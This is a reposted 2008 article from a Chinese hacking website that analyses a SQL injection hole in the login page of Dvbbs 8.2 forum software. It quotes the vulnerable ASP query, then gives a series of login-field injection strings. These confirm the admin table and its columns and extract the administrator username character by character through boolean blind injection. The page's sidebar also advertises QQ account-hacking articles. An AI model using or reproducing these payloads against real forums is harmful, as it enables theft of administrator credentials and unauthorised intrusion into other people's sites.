首 页文章中心黑客工具黑吧学院技术论坛安全培训免费频道最近更新瑞星在线杀毒黑吧百度繁體中文
  设为首页
加入收藏
发布作品
   
栏目导航
· 漏洞利用 · 脚本注入
· 入侵实例 · 编程代码
· 逆向工程
热门文章
· 如何封别人QQ
· 充QQ币的疯狂——宽...
· 免费得QB
· 400秒远程攻破你的Q...
· [图文] QQ免费建400个群
· [组图] 给你一台永远不关机...
· [注意] QQ宠物砸蛋秘诀
· 再次有机会免费获得...
· 想的挂QQvip的进
· 在QQ中将自己从对方...
相关文章
· [图文] 入侵DVBBS php官网详...
· Dvbbs8.2 access/sq...
· [图文] 教你入侵dvbbs 8.2 ...
· [图文] 菜鸟也玩dvbbs 8.2 ...
· [图文] Dvbbs8.2 access/sq...
· dvbbs 8.2 SQL注射漏...
· dvbbs8.2(access/sq...
· [图文] Dvbbs8.1 0DAY(通杀...
· Let me tell you ho...
· Dvbbs8.0 access 后...
Dvbbs 8.2 login_sql注入漏洞探析
作者:佚名  来源:转载  发布时间:2008-8-11 3:02:57  发布人:黑客动画吧

减小字体 增大字体

,分析下洞网/”,环境架好后.找到有问题的语句:
      End If
       Else
              username=trim(Dvbbs.CheckStr(request("username")))
              If ajaxPro Then username = unescape(username)
       End If
username带入到查询语句如下:
       If ChkUserLogin(username,password,mobile,usercookies,1)=false Then
              Set chrs=Dvbbs.Execute("select Passport,IsChallenge from [Dv_User] where username='"&username&"' and IsChallenge=1")
              If chrs.eof and chrs.bof Then
                     If Not ajaxPro Then
                            Dvbbs.AddErrCode(12)
                     Else
                            strString("本论坛不存在该用户名.@@@@0")'o
                     End If
                     Exit Function
              End If
              set chrs=nothing
       End If
:
select Passport,IsChallenge from [Dv_User] where username='"&username&"' and IsChallenge=1
:
where' and (select count(*) from Dv_Admin)>0 and '1'='1 //判断是否存在表名Dv_Admin
,就会变成:
select Passport,IsChallenge from [Dv_User] where username=’ where' and (select count(*) from Dv_Admin)>0 and '1'='1 and IsChallenge=1
:
where
logins.asp用户名里填入:
where' and (select count(*) from Dv_Admin)>0 and '1'='1
.
,如果登录正常,说明,存在表单Dv_admin,
,如果出错提示,证明无此表单.
,构造语句:
where' and(select count(username) from Dv_admin)>0 and '1'='1
//判断是否存在列名username
where' and(select count(password) from Dv_admin)>0 and '1'='1
//判断是否存在列名password
where' and(select top 1 len(username) from dv_admin)>10 and '1'='1
where' and(select top 1 len(username) from dv_admin)<5 and '1'='1
where' and(select top 1 len(username) from dv_admin)=5 and '1'='1
//判断username列表值长度是否大于10,小于5,等于5
where' and (select top 1 asc(mid(username,1,1)) from dv_admin)>100 and 1=1 and '1'='1
where' and (select top 1 asc(mid(username,1,1)) from dv_admin)<97 and 1=1 and '1'='1
where' and (select top 1 asc(mid(username,1,1)) from dv_admin)=97 and 1=1 and '1'='1
//判断username列表的第一位字母的ASCII码值是否大于100,小于97,等于97
where' and (select top 1 asc(mid(username,2,1)) from dv_admin)>100 and 1=1 and '1'='1
where' and (select top 1 asc(mid(username,2,1)) from dv_admin)<97 and 1=1 and '1'='1
where' and (select top 1 asc(mid(username,2,1)) from dv_admin)=97 and 1=1 and '1'='1
//判断username列表的第二位字母的ASCII码值是否大于100,小于97,等于97
…….类推
[ ] [返回上一页] [打 印] [收 藏]
下一篇文章:百度相册跨站探析
 
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 网站导航 - 作品发布
互联网备案登记:粤ICP备05008775号
友情提示:浏览本站,请使用IE6.0浏览,并将分辩率设置为1024*768 为佳
Copyright © 2002-2005 Hack58.Com. All Rights Reserved .